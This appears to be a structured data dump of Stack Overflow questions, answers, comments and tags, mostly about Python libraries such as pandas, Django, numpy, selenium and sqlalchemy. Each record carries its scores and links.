has body: I have a dataframe like this: peak-date 0 17 Jan 1 17 Jan 2 31 Mar 3 30 Apr 4 31 May 5 26 Jun 6 26 Jun I want to find the row before the row when peak-date values become the same. In this case that would be the row with peak-date of 31 May. I can do this fo r numeric values using df['peak-date'].diff(), but how do I do it here?
accepted answer: http://stackoverflow.com/a/47026587
has answer: http://stackoverflow.com/a/47026587
type: AnsweredQuestion
tagged with: pandas

http://stackoverflow.com/comment/81001134
score: 0
has text: @geckos I doubt it is the reason. I would expect Cython would automatically handles this when provided with `language='C++'`. I am saying this because I also wrote a memoryview version and it works.
comment on: http://stackoverflow.com/q/47026900
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80795763
has text: I got the following error when I tried this: in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) TypeError: expected string or buffer
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46920176
type: AnswerComment

object-literal
tag name: object-literal
type: Tag
tags question: http://stackoverflow.com/q/46940171

http://stackoverflow.com/comment/80912322
score: 1
type: Comment
has text: There are ways around that. Don't use chained indexing. See, for example, https://stackoverflow.com/questions/44764042/pandas-mix-position-and-label-indexing-without-chaining
type: AnswerComment
comment on: http://stackoverflow.com/a/46981978

http://stackoverflow.com/q/46920188
type: Question
has body: I'm trying a Django tutorial. For some reason my existing superuser got deleted; creating that went fine, but I can't make another one. This also happens when I try to use pip. I didn't change anything in the libraries so not sure why this happens now but didn't before. On windows 7 (Python 3.6.3 and Django 1.11). I've seen similar but not the exact same problems for Windows. Still I checked the file and there seems to be a PathLike class. I've also tried to repair my Python installation but it didn't help. any ideas?
tagged with: attributeerror
has title: manage.py createsuperuser: AttributeError: module 'os' has no attribute 'PathLike'
has answer: http://stackoverflow.com/a/64591198
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46932401
downvote count: 0
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/64757372
answer count: 4
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/80787987
has answer: http://stackoverflow.com/a/64591309
favorite count: 0

http://stackoverflow.com/comment/80992474
type: QuestionComment
comment on: http://stackoverflow.com/q/47022730
has text: You already have a boolean result. Just return that rather than using `True if expression else False`. `expression` **itself** is already producing `True` or `False` in most cases. If not, use `bool(expression)`, but only if you must have a boolean. `if` doesn't need a boolean, for example.
type: Comment
score: 3

http://stackoverflow.com/a/47019970
answers question: http://stackoverflow.com/q/47019625
has comment: http://stackoverflow.com/comment/80986930
type: Answer
has body: Your code seems fine (beside the indentation of the last 2 lines, but I assume it was changed while copying code). I ran it in python fiddle with a fixed seed to have a reproducible result: import random random.seed(21334261) print("What is ....") print() num1 = random.randint(0,9) num2 = random.randint(0,9) print("num1: {} \n num2: {}".format(num1, num2)) operation = 3 if operation == 1: op = '-' if operation == 2: op = '+' if operation == 3: op = '/' while num2 == 0 or num1%num2 &gt; 0: num1 = random.randint(0,9) num2 = random.randint(0,9) print("num1: {} \n num2: {}".format(num1, num2)) I get as output 8 and 4. My guess is that it is just a matter of probability: your condition will always be true with num2=1 or if num1=0. On the other hand there are only a handful of other cases that work and do not fall in the categories you described: 9/3 8/4 8/2 6/3 6/2 4/2. Edit: corrected the indentation of the while block, thanks to MaximTitarenko.
downvote count: 0
has comment: http://stackoverflow.com/comment/81482317
upvote count: 1
score: 1

http://stackoverflow.com/a/46912461
type: Answer
score: 1
downvote count: 0
upvote count: 1
has body: Regarding the first question, I'd advise against that not to clutter the plot with extra ink. Now, onto the y labels. you have to use the axes you get from plt.subplots replacing plt.ylabel('Pop') by axes[0].set_ylabel('Pop') and plt.ylabel('Pop') by axes[1].set_ylabel('Temp')
answers question: http://stackoverflow.com/q/46912100

http://stackoverflow.com/comment/80813897
type: QuestionComment
has text: I would guess this is related to some problem in how your ```xgdmat``` is set up. Try investigating that and making sure its dimension and makeup are exactly as you expect them to be.
type: Comment
comment on: http://stackoverflow.com/q/46927576
score: 0

mathematical-optimization
tags question: http://stackoverflow.com/q/46920429
tags question: http://stackoverflow.com/q/47034312
type: Tag
tag name: mathematical-optimization

http://stackoverflow.com/q/47036224
has answer: http://stackoverflow.com/a/47036342
has comment: http://stackoverflow.com/comment/81018842
has comment: http://stackoverflow.com/comment/81019032
possible better answer: http://stackoverflow.com/a/47036491
has answer: http://stackoverflow.com/a/47036341
has answer: http://stackoverflow.com/a/47036508
tagged with: python
has comment: http://stackoverflow.com/comment/81018655
type: Question
has title: Python: can I use the lambda argument n to repeat lambda operation (n+n) n times?
has comment: http://stackoverflow.com/comment/81019087
upvote count: 2
answer count: 5
has comment: http://stackoverflow.com/comment/81018948
downvote count: 0
has answer: http://stackoverflow.com/a/47036491
has comment: http://stackoverflow.com/comment/81019461
tagged with: lambda
has answer: http://stackoverflow.com/a/47036736
favorite count: 0
accepted answer: http://stackoverflow.com/a/47036342
has body: I am trying to code-golf a Python function that takes a parameter n and squares it without pow, * or **. I am at this stage: square = lambda n: n+n Can I iterate n+n n times using about 10 more characters?
score: 2
type: AnsweredQuestion

http://stackoverflow.com/a/47036342
has comment: http://stackoverflow.com/comment/81018939
has comment: http://stackoverflow.com/comment/81019083
has comment: http://stackoverflow.com/comment/81019064
type: Answer
accepted answer of: http://stackoverflow.com/q/47036224
has comment: http://stackoverflow.com/comment/81018825
has comment: http://stackoverflow.com/comment/81018978
score: 0
has body: You can try this: sqr = lambda n : sum(n for i in range(n)) OUTPUT &gt;&gt;&gt; sqr(9) 81 &gt;&gt;&gt; sqr(12) 144
answers question: http://stackoverflow.com/q/47036224
upvote count: 1
type: AcceptedAnswer
downvote count: 1

http://stackoverflow.com/comment/80972279
type: Comment
comment on: http://stackoverflow.com/a/47012908
type: AnswerComment
has text: @Laszlowaty I agree slicing is nicer. If I knew of another syntax for slice that applies, I'd answer with it instead.
score: 0

http://stackoverflow.com/comment/80946030
has text: Thanks for the answer, I would recommend this answer to anyone who is having a similar problem but not the same one.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46994597
type: Comment

http://stackoverflow.com/a/46915988
upvote count: 1
score: 1
has body: You can try this: import re the_string = 'name: "here\'s my string"' s = re.findall('"(.*?)"', the_string)[0] Output: "here's my string"
type: Answer
answers question: http://stackoverflow.com/q/46915946
downvote count: 0

http://stackoverflow.com/a/46923783
has comment: http://stackoverflow.com/comment/80961868
has comment: http://stackoverflow.com/comment/80795706
type: Answer
accepted answer of: http://stackoverflow.com/q/46923717
upvote count: 4
answers question: http://stackoverflow.com/q/46923717
has body: You can use np.argwhere to get the matching indices packed as a 2D array with each row holding indices for each match and then index into the first row, like so - np.argwhere(zArray==match)[0] Alternatively, faster one with argmax to get the index of the first match on a flattened version and np.unravel_index for per-dim indices tuple - np.unravel_index((zArray==match).argmax(), zArray.shape) Sample run - In [100]: zArray Out[100]: array([[ 0, 1200, 5000], # different from sample for a generic one [1320, 24, 5000], [5000, 234, 5230]]) In [101]: match Out[101]: 5000 In [102]: np.argwhere(zArray==match)[0] Out[102]: array([0, 2]) In [103]: np.unravel_index((zArray==match).argmax(), zArray.shape) Out[103]: (0, 2) Runtime test - In [104]: a = np.random.randint(0,100,(1000,1000)) In [105]: %timeit np.argwhere(a==50)[0] 100 loops, best of 3: 2.41 ms per loop In [106]: %timeit np.unravel_index((a==50).argmax(), a.shape) 1000 loops, best of 3: 493 µs per loop
type: AcceptedAnswer
downvote count: 0
score: 4

http://stackoverflow.com/q/46960126
type: Question
has title: python cvxopt installation Mac
type: UnansweredQuestion
has body: I have a Mac 10.6.8 with Pycharm 3.0.3 installed When I install the cvxopt packege via terminal: pip install cvxopt and then i import the module I get the following: Traceback (most recent call last): File "", line 1, in File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/cvxopt/init.py", line 242, in cvxopt.base.normal, cvxopt.base.uniform = normal, uniform AttributeError: 'module' object has no attribute 'base' I ve been trying several solution but no luck Any help please? Thanks
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/46960460
answer count: 1
tagged with: cvxopt

http://stackoverflow.com/comment/80918498
score: 1
type: Comment
comment on: http://stackoverflow.com/q/46965968
type: QuestionComment
has text: There is no blit faster than no blit. You should take a look at the dirty rect animation concept. http://www.pygame.org/docs/tut/newbieguide.html (around the first third of the page). It can really speed up by tens your code ;)

http://stackoverflow.com/q/46986417
score: 2
has answer: http://stackoverflow.com/a/46987293
tagged with: list
downvote count: 0
tagged with: python
favorite count: 0
type: Question
upvote count: 2
has body: So there is a list which contains '3,2,5,4,1','3,1,2,5,4','2,5,1,4,3' These numbers are part of the same list, HOWEVER they are strings in a list(ie. list 1) and from this, you say that for the "first row", 3 occurs at position 0, 2 occurs at position 1, 5 at 2 etc. For the "second row", 3 occurs at position 0, 1 occurs at position 1, 2 occurs at position 2 etc. I would like to create a loop or anything at all (besides using imported functions) to create a final list which looks like 0: [3, 3, 2] 1: [2, 1, 5] 2: [5, 2, 1] 3: [4, 5, 4] 4: [1, 4, 3]
answer count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46986441
has title: Creating a new list based on their position

http://stackoverflow.com/q/46965919
has title: mxnet tutorials unpack requires a string argument of length 8
score: 0
tagged with: mxnet
has answer: http://stackoverflow.com/a/46980980
tagged with: jupyter-notebook
type: Question
type: UnansweredQuestion
answer count: 1
has body: Recently, I learned mxnet, by following the tutorials in mxnet.io. In Handwritten Digit Recognition, I run the following code: import mxnet as mx mnist = mx.test_utils.get_mnist() It shows: --------------------------------------------------------------------------- error Traceback (most recent call last) &lt;ipython-input-1-9ce98614649e&gt; in &lt;module&gt;() 1 import mxnet as mx ----&gt; 2 mnist=mx.test_utils.get_mnist() /home/lthpc/mxnet/python/mxnet/test_utils.pyc in get_mnist() 1014 path = 'http://data.mxnet.io/data/mnist/' 1015 (train_lbl, train_img) = read_data( -&gt; 1016 path+'train-labels-idx1-ubyte.gz', path+'train-images-idx3-ubyte.gz') 1017 (test_lbl, test_img) = read_data( 1018 path+'t10k-labels-idx1-ubyte.gz', path+'t10k-images-idx3-ubyte.gz') /home/lthpc/mxnet/python/mxnet/test_utils.pyc in read_data(label_url, image_url) 1002 def read_data(label_url, image_url): 1003 with gzip.open(mx.test_utils.download(label_url)) as flbl: -&gt; 1004 struct.unpack("&gt;II", flbl.read(8)) 1005 label = np.fromstring(flbl.read(), dtype=np.int8) 1006 with gzip.open(mx.test_utils.download(image_url), 'rb') as fimg: error: unpack requires a string argument of length 8 How can I fix this?
tagged with: python

http://stackoverflow.com/a/47913731
accepted answer of: http://stackoverflow.com/q/46955215
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46955215
has body: How about this: import requests from bs4 import BeautifulSoup url_list = [ 'http://www.aurecongroup.com', 'http://www.bendigoadelaide.com.au', 'http://www.burrell.com.au', 'http://www.dsdbi.vic.gov.au', 'http://www.energyaustralia.com.au', 'http://www.executiveboard.com', 'http://www.mallesons.com', 'https://www.minterellison.com', 'http://www.mta.org.nz', 'http://www.services.nsw.gov.au' ] for link in url_list: try: res = requests.get(link) soup = BeautifulSoup(res.text, 'lxml') try: df = soup.title.string.strip() except (AttributeError, KeyError): df = &quot;&quot; print(df) except IOError: pass Partial output including none: Aurecon – A global engineering and infrastructure advisory company ####It gives the none value Stockbroking &amp; Superannuation Brisbane | Burrell Home | Economic Development Electricity Providers - Gas Suppliers | EnergyAustralia
type: Answer

http://stackoverflow.com/comment/80927385
type: Comment
type: QuestionComment
has text: Can you please just add the code, instead of screenshots? It is kind of small to read like this.
score: 0
comment on: http://stackoverflow.com/q/46990022

http://stackoverflow.com/comment/81130387
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46997131
has text: thank you. By specifying the timeout parameter to q.get(timeout=10) I overcome the hanging issue in threads

http://stackoverflow.com/a/47023537
answers question: http://stackoverflow.com/q/47023188
has comment: http://stackoverflow.com/comment/81024271
has body: You have to set the path to the geckodriver. A way is the following: driver = webdriver.Firefox(profile, executable_path=r'/pathTo/geckodriver') driver.get("https://www.google.com") Make sure that the file is executable: chmod +x geckodriver++ EDIT If you don't want to specify the executable_path in your code, you have to add this in your PATH environment variable: export PATH=$PATH:/path/to/geckodriver
type: Answer
score: 0

pexpect
tags question: http://stackoverflow.com/q/47032456
tags question: http://stackoverflow.com/q/46919968
tag name: pexpect
type: Tag
tags question: http://stackoverflow.com/q/47007641
tags question: http://stackoverflow.com/q/46920639

http://stackoverflow.com/a/76487496
has body: I think there is more to this than @JamesKent Arduino code, I had the same problem with tried and tested C code running on an XMC talking to a Pi where the Pi would send a request as an ASCII string and the XMC would respond with a fixed number of \n terminated strings of data. Rarely, (between 30 seconds and many hours) I would get the dreaded decode error. I ended up fixing it by doing this for the case that data ends up being an empty string which is essentially the same thing: try: data = ser.readline().decode().strip() except UnicodeDecodeError: # catch serial data errors print('Serial Error\n') if data: ..Do other stuff with data Strangely enough the error hasn't reoccurred (yet)
answers question: http://stackoverflow.com/q/47033476
type: Answer
score: 0

ospf
tag name: ospf
tags question: http://stackoverflow.com/q/47034219
type: Tag

http://stackoverflow.com/comment/80870040
has text: What is the difference?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46961283
score: 0

http://stackoverflow.com/comment/81028372
comment on: http://stackoverflow.com/q/47040728
score: 1
type: QuestionComment
type: Comment
has text: `abs(1-3)` is not `3`

http://stackoverflow.com/comment/81935552
has text: I've noticed that in the example data you gave the rows of your 2D array are not homogeneous, most elements are integers and the last one is a float. Is this for real or, in your data, the parameters and the class are also represented by floats?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46998199
score: 0

http://stackoverflow.com/comment/80781840
has text: It is s instead of p. And an example is stated above: Input : Pepeteper Pipipeper pipickeped Output with your wrong code: Peter Pir cked Correct output: Peter Piper picked
type: AnswerComment
comment on: http://stackoverflow.com/a/46916938
score: 0
type: Comment

http://stackoverflow.com/comment/80974511
has text: Sure. https://www.doffin.no/Notice. I translated what's inside "right-col" div tag in english for you, so just be aware that what you see now is not english.
type: QuestionComment
comment on: http://stackoverflow.com/q/47005212
score: 0
type: Comment

http://stackoverflow.com/q/46920076
type: Question
has answer: http://stackoverflow.com/a/46920141
tagged with: python
type: UnansweredQuestion
score: -2
has comment: http://stackoverflow.com/comment/80787802
has comment: http://stackoverflow.com/comment/80787814
has title: Python 3.4 - Putting variables into input
answer count: 4
has answer: http://stackoverflow.com/a/46920105
has comment: http://stackoverflow.com/comment/80787787
has body: I am trying to calculate the total amount based on two answers to inputs. Example; type1_value=100 type2_value=200 model1_value=2 model2_value=3 typevalue=str(input('please enter the type: ')) modelvalue=str(input('please enter the model: ')) total=(typevalue*modelvalue) if customer types type1 for first and model2 for second question how can I have 300 in total? thanks
downvote count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/46920213
has answer: http://stackoverflow.com/a/46920153
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/q/46983217
tagged with: python
has title: How click on right click menu in selenium python?
has body: I am trying to click on right click menu and i am able to open the right click menu but its not clicking on any menu or not pressing any keys like down , up etc where i am wrong : profile_pic=driver.find_element_by_css_selector('img[class="profilePic img"]') okl=profile_pic.click() time.sleep(5) action1=ActionChains(driver) action1.context_click(okl).send_keys(Keys.ARROW_DOWN).send_keys(Keys.ARROW_DOWN).send_keys(Keys.ENTER).perform()
has answer: http://stackoverflow.com/a/54160903
linked to: http://stackoverflow.com/q/11428026
answer count: 1
downvote count: 0
tagged with: selenium
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: automation
type: UnansweredQuestion
score: 1

http://stackoverflow.com/a/46967198
score: 0
answers question: http://stackoverflow.com/q/46967051
type: Answer
has body: Ok I did this to print the names out but I'm still having a problem figuring out how to count the different types of craft when there's only one right now. for person in ast["people"]: print(person["name"], "\n", person["craft"], "\n")

http://stackoverflow.com/comment/81022624
score: 0
has text: Simple enough! Thanks great suggestion
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47037933

http://stackoverflow.com/a/59547345
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/107444658
has comment: http://stackoverflow.com/comment/107444299
answers question: http://stackoverflow.com/q/47045898
type: Answer
has comment: http://stackoverflow.com/comment/107444947
has body: This is JavaScript code: function countdown(n){ if(n&lt;1){ return []; }else{ var countArray = countdown(n-1); countArray.unshift(n); return countArray; } } console.log(countdown(10)); [10, 9, 8, 7, 6, 5, 4, 3, 2, 1] // array of recursion
score: 1

http://stackoverflow.com/q/47025834
accepted answer: http://stackoverflow.com/a/47025901
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47025901
downvote count: 0
upvote count: 1
tagged with: python
has body: I'm new to coding in general and have been studying through the edX platform. One of the first assignments require us to write a piece of code that prints the longest alphabetical substring in a given string. I have tried looking everywhere on the internet, but all I can find is fixed answers, and not why my code doesn't work. I would like some help to figure out why, because it makes sense in my head. CODE: s = 'abcdszabc' start = 0 end = 0 a = '' b = '' while len(b) &lt; len(s[start:]): while s[end] &lt;= s[end+1]: end += 1 a = s[start:end+1] if a &gt; b: b = a print(b) start += 1 end = start When I run it retrieves an error claiming: while s[end] &lt;= s[end+1]: IndexError: string index out of range It doesn't make sense, because the first while should assess the size of the b string before going into the second while. In my case, the b would be assigned 'abcdsz' in the first try, and the program should stop looping in the first while when there is less than 6 characters left (since there is no point in further searching). Can anyone please enlighten me without giving me a straight solution? I'm trying my best to solve it on my own without spoilers!
has comment: http://stackoverflow.com/comment/80998881
type: AnsweredQuestion
score: 1
answer count: 1
has title: How to print longest alphabetical substring of a given string in Python?
tagged with: string

http://stackoverflow.com/a/46970876
has comment: http://stackoverflow.com/comment/80889141
score: 1
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80889166
has comment: http://stackoverflow.com/comment/80889380
has body: you are accessing the order record not the line: @api.constrains('order_lines', 'order_lines.qty', 'order_lines.isbn') def check_quantity(self): for rec in self: if rec.order_lines: for line in rec.order_lines: # here the isbn is in line not rec because rec is the record if line.qty &gt; line.isbn.qty_available: raise Warning(('Quantity is invalid.'))
accepted answer of: http://stackoverflow.com/q/46967585
type: Answer
answers question: http://stackoverflow.com/q/46967585
downvote count: 0

http://stackoverflow.com/comment/80864309
score: 1
type: Comment
has text: `np.concatenate([time_04_window, np.zeros(len(x)-len(time_04_window), dtype='i')])` removes the square bracket around `time_04_window`. `propNum` is a scalar thus `0d`, while `time_04_window` is an array so it's `1d`.
type: QuestionComment
comment on: http://stackoverflow.com/q/46958377

http://stackoverflow.com/comment/81043495
score: 0
type: Comment
has text: Yes, i am trying that.
type: AnswerComment
comment on: http://stackoverflow.com/a/47033304

http://stackoverflow.com/comment/81040216
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47045029
score: 0
has text: Yeah, I'm getting User has no attribute query now when I try to do: users = User.query.filter_by(username=username).all()

http://stackoverflow.com/comment/80870543
type: Comment
has text: @juanpa.arrivillaga, that is exactly what I'm looking for. I just don't know how to do it efficiently enough.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46961262

http://stackoverflow.com/comment/80869929
type: Comment
type: QuestionComment
has text: I understand that it is a requirement for Django created database (in my case default database). But is it true for querying the external database SQL server? Please confirm. How would you query a database over which you dont have control over ?
comment on: http://stackoverflow.com/q/46961000
score: 0

http://stackoverflow.com/comment/81077360
score: 0
comment on: http://stackoverflow.com/q/47064420
type: Comment
type: QuestionComment
has text: When it comes to dates, I cheat and use partedatetime. Then you can create dates with human readable text such as cal.parse("last January at 5pm") -- makes life so, so much easier.

http://stackoverflow.com/a/49521885
downvote count: 0
answers question: http://stackoverflow.com/q/46991612
has body: You need to turn on country outlines under layout... "geo":{ "countriescolor": "#444444", "showcountries": true },
type: Answer
upvote count: 5
score: 5

http://stackoverflow.com/comment/80848917
type: Comment
comment on: http://stackoverflow.com/a/46948479
has text: One more things to know : What to do when there is a range to deal with in a for loop as in `for i,year in enumerate(range(1947,1950),1):`. I tried it but it doesn't work in this case. Did I do it accordingly? Thanks.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81072043
type: Comment
comment on: http://stackoverflow.com/q/47062062
type: QuestionComment
has text: maybe `{% if forloop.first %}` and `{% if forloop.last %}` could help ?
score: 1

http://stackoverflow.com/q/47056158
tagged with: django-models
tagged with: python
has answer: http://stackoverflow.com/a/47056459
has body: I have developed a tool (to be used internally) based on the Django admin site. I have model validators in place which work brilliantly, but to do more complex validations, I am attempting to overwrite the clean() method in admin.py My admin.py looks like this: from django.contrib import admin from .models import Provider, Employer, Person, Learnership, Qualification, Unit_Standard from django import forms class ProviderForm(forms.ModelForm): class Meta: model = Provider fields = 'all' def clean(self): provider_start_date = self.cleaned_data.get('provider_start_date') provider_end_date = self.cleaned_data.get('provider_end_date') if provider_start_date &gt; provider_end_date: raise forms.ValidationError("Start date can't be after end date") return self.cleaned_data admin.site.register(Provider) The models.py for the Provider Model: class Provider(models.Model): ... lots of stuff here ... provider_start_date = models.DateField() provider_end_date = models.DateField(blank=True, null=True) ... lots of stuff here ... def __str__(self): return '%s %s' % (self.provider_name, self.provider_code) The problem is that the code displayed in the admin.py doesn't seem to fire, and you can save the record with the end date before the start date. The Django admin interface is really an amazing feature of the framework, and I think that other people have probably also run into this problem of more advanced validations not being possible, so it would help them as well.
type: AnsweredQuestion
score: 3
answer count: 3
has comment: http://stackoverflow.com/comment/81059431
upvote count: 3
has comment: http://stackoverflow.com/comment/81059920
has answer: http://stackoverflow.com/a/47056443
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47056546
has title: Modified Django admin clean() method not being invoked
possible better answer: http://stackoverflow.com/a/47056443
tagged with: django-admin
accepted answer: http://stackoverflow.com/a/47056459
downvote count: 0
tagged with: django

http://stackoverflow.com/comment/80869904
has text: You also should include what you have tried in the question and why it hasn't work, then I wouldn't have flagged as a duplicate :)
type: QuestionComment
comment on: http://stackoverflow.com/q/46961042
type: Comment
score: 0

http://stackoverflow.com/a/47059073
accepted answer of: http://stackoverflow.com/q/47058497
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47058497
upvote count: 7
score: 7
has body: Your queryset will generate SQL similar to select * from foo where NOT (id in (NULL)); In SQL both x in (NULL) and NOT (x in (NULL)) evaluate to null, so the query returns no rows. See this question for more info. The solution, as @wim pointed out in the comments, is to filter out the None values from the list: foo = Foo.objects.filter(common=True).exclude(id__in=[x for x in ids if x is not None])
type: Answer

http://stackoverflow.com/a/46955431
has body: You're looking for groupby + transform + isin: df['New'] = df.groupby('Person_Name').Bool\ .transform(lambda x: 'Question' if ~x.isin(['YES']).any() else '') df Person_Name State_Abbrev Bool New 0 george, John CT NO Question 1 george, John PA NO Question 2 george, John. NY NO Question 3 adam, Ross NY YES 4 adam, Ross CA NO
type: Answer
answers question: http://stackoverflow.com/q/46955150
accepted answer of: http://stackoverflow.com/q/46955150
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/46990244
favorite count: 0
type: Question
tagged with: python-3.x
answer count: 2
has answer: http://stackoverflow.com/a/46990592
downvote count: 0
upvote count: 1
has title: Program won't print and loop again if the answer invalid
accepted answer: http://stackoverflow.com/a/46990415
has body: I have this program where I want to check if the selected venue can accommodate to the number of people (noPeople). Return FALSE if invalid where it cannot accommodate the number of people else return a TRUE if valid. print(''' [1] vip room(10 person) [4]Banquet Hall(200 person) [2] executive room(30 person) [5]Chamber Hall(500 person) [3] pool site(50 person) [6]Concert Hall(1000 person) ''') def validateVenue(choice,venueList,noPeople): if choice == '1': noPeople &lt;= (int(venueList[0]['VIP Room'])) return True elif choice == '2': noPeople &lt;= (int(venueList[0]['Executive Room'])) return True elif choice == '3': noPeople &lt;= (int(venueList[0]['Pool Site'])) return True elif choice == '4': noPeople &lt;= (int(venueList[0]['Banquet Hall'])) return True elif choice == '5': noPeople &lt;= (int(venueList[0]['Chamber Hall'])) return True elif choice == '6': noPeople &lt;= (int(venueList[0]['Concert Hall'])) return True else: print('Invalid venue, please choose again.') return False while True: noPeople = int(input('people:')) venueList = [{'VIP Room':10,'Executive Room':30,'Pool Site':50,'Banquet Hall':200,'Chamber Hall':500,'Concert Hall':1000}] choice = input('Please select a venue:') if validateVenue(choice,venueList,noPeople): break And it seems that my program doesn't want to loop and it won't print the invalid venue even though the room can't accommodate enough people. [1] vip room(10 person) [4]Banquet Hall(200 person) [2] executive room(30 person) [5]Chamber Hall(500 person) [3] pool site(50 person) [6]Concert Hall(1000 person) people:50 Please select a venue:1 &gt;&gt;&gt; Am I missing something or I am doing it wrong. Any suggestion and helps. Thanks
has comment: http://stackoverflow.com/comment/80927064
has comment: http://stackoverflow.com/comment/80927028
has answer: http://stackoverflow.com/a/46990415
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80926988
score: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/46990592

sqlalchemy
tags question: http://stackoverflow.com/q/46978199
tags question: http://stackoverflow.com/q/47030573
tags question: http://stackoverflow.com/q/47064007
tags question: http://stackoverflow.com/q/47015782
tags question: http://stackoverflow.com/q/46995599
tags question: http://stackoverflow.com/q/47054738
tags question: http://stackoverflow.com/q/46937365
tags question: http://stackoverflow.com/q/46977257
tags question: http://stackoverflow.com/q/46956095
tags question: http://stackoverflow.com/q/46999774
tags question: http://stackoverflow.com/q/46948414
tags question: http://stackoverflow.com/q/46967143
tags question: http://stackoverflow.com/q/46975462
tags question: http://stackoverflow.com/q/47046576
tags question: http://stackoverflow.com/q/46930569
tags question: http://stackoverflow.com/q/46907740
tags question: http://stackoverflow.com/q/47048473
tags question: http://stackoverflow.com/q/47034492
tags question: http://stackoverflow.com/q/46931581
tags question: http://stackoverflow.com/q/46926037
tags question: http://stackoverflow.com/q/46968567
tags question: http://stackoverflow.com/q/47025548
tags question: http://stackoverflow.com/q/46917244
tags question: http://stackoverflow.com/q/46916153
tags question: http://stackoverflow.com/q/47038961
tags question: http://stackoverflow.com/q/46918589
tags question: http://stackoverflow.com/q/46963046
tags question: http://stackoverflow.com/q/46926678
tags question: http://stackoverflow.com/q/46907724
tags question: http://stackoverflow.com/q/46981025
tags question: http://stackoverflow.com/q/46956943
tags question: http://stackoverflow.com/q/47037375
tags question: http://stackoverflow.com/q/47015349
tags question: http://stackoverflow.com/q/47040141
tags question: http://stackoverflow.com/q/46978851
tags question: http://stackoverflow.com/q/46920027
tags question: http://stackoverflow.com/q/46940550
tags question: http://stackoverflow.com/q/47045029
tags question: http://stackoverflow.com/q/46984000
tag name: sqlalchemy
tags question: http://stackoverflow.com/q/47026384
type: Tag
tags question: http://stackoverflow.com/q/47052349

http://stackoverflow.com/comment/80775669
type: Comment
has text: In console I have `pythonw.exe`, in pycharm `python.exe`
score: 0
comment on: http://stackoverflow.com/q/46914093
type: QuestionComment

http://stackoverflow.com/comment/80913152
type: AnswerComment
score: 0
has text: Why sum and not just `len` ?
type: Comment
comment on: http://stackoverflow.com/a/46982856

http://stackoverflow.com/comment/81084747
score: 0
comment on: http://stackoverflow.com/q/47051326
has text: Yes .dta files :-) , typed mistake
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46919828
score: 3
has comment: http://stackoverflow.com/comment/80787291
has body: Snippet to reproduce: import xlsxwriter workbook = xlsxwriter.Workbook('test.xlsx') worksheet = workbook.add_worksheet() data_fmt = workbook.add_format({'num_format': r"0.00##\%;[RED](0.00##\%)"}) worksheet.write('A1', 5.5, data_fmt) workbook.close() My expecatation would be that when I open up that file and inspect the format for A1 it would be 0.00##\%;[RED](0.00##\%). Instead I get 0.00##%;[RED](0.00##%) NOTE: The format, taken from this stackoverflow question is what would give you the percent sign at the end without multiplying the value by 100. EDIT2: &gt;&gt;&gt; import xlsxwriter &gt;&gt;&gt; xlsxwriter.__version__ '1.0.2' Also, I am opening the file in LibreOffice. EDIT3: Here's a snippet that tries 1, 2, 3, and 4 backslashes. All of them produce the same format when I open the result in libreoffice. import xlsxwriter fmts = [r"0.00##\%;[RED](0.00##\%)", r"0.00##\\%;[RED](0.00##\\%)", r"0.00##\\\%;[RED](0.00##\\\%)", r"0.00##\\\\%;[RED](0.00##\\\\%)"] fp = "test{}.xlsx" for i, fmt in enumerate(fmts): workbook = xlsxwriter.Workbook(fp.format(i)) worksheet = workbook.add_worksheet() data_fmt = workbook.add_format({'num_format': fmt}) worksheet.write('A1', 5.5, data_fmt) workbook.close() EDIT 4: I have confirmed that this is issue does not exist in excel. So currently it is strictly a LibreOffice issue.
has comment: http://stackoverflow.com/comment/80787234
linked to: http://stackoverflow.com/q/16806849
tagged with: python
has comment: http://stackoverflow.com/comment/80787415
has answer: http://stackoverflow.com/a/46919993
answer count: 2
has answer: http://stackoverflow.com/a/46948758
upvote count: 3
type: UnansweredQuestion
tagged with: xlsxwriter
downvote count: 0
favorite count: 0
type: Question
has title: How can I have xlsxwriter write backslashes in number format (for LibreOffice)?

http://stackoverflow.com/q/47043063
possible better answer: http://stackoverflow.com/a/47043111
has comment: http://stackoverflow.com/comment/81033882
has comment: http://stackoverflow.com/comment/81033380
type: Question
has answer: http://stackoverflow.com/a/47043111
has comment: http://stackoverflow.com/comment/81033303
tagged with: elementwise-operations
tagged with: if-statement
tagged with: python
has title: Python: Element-wise implementation of 'in' conditional operator
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47043095
score: 0
has comment: http://stackoverflow.com/comment/81033506
tagged with: conditional-statements
accepted answer: http://stackoverflow.com/a/47043095
answer count: 3
has body: So, I have two lists: x =[170 169 168 167 166 165 183 201 219 237 255 274 293 312 331 350] y =[201,168] I want to write a conditional if statement that is true only if all the contents of y are in x. How do I do this? E.g. -- assert(y[0] in x) and assert(y[a] in x) both give True, but assert(y in x) gives False. Similarly, assert( any(y) in x ) raises an error as well.
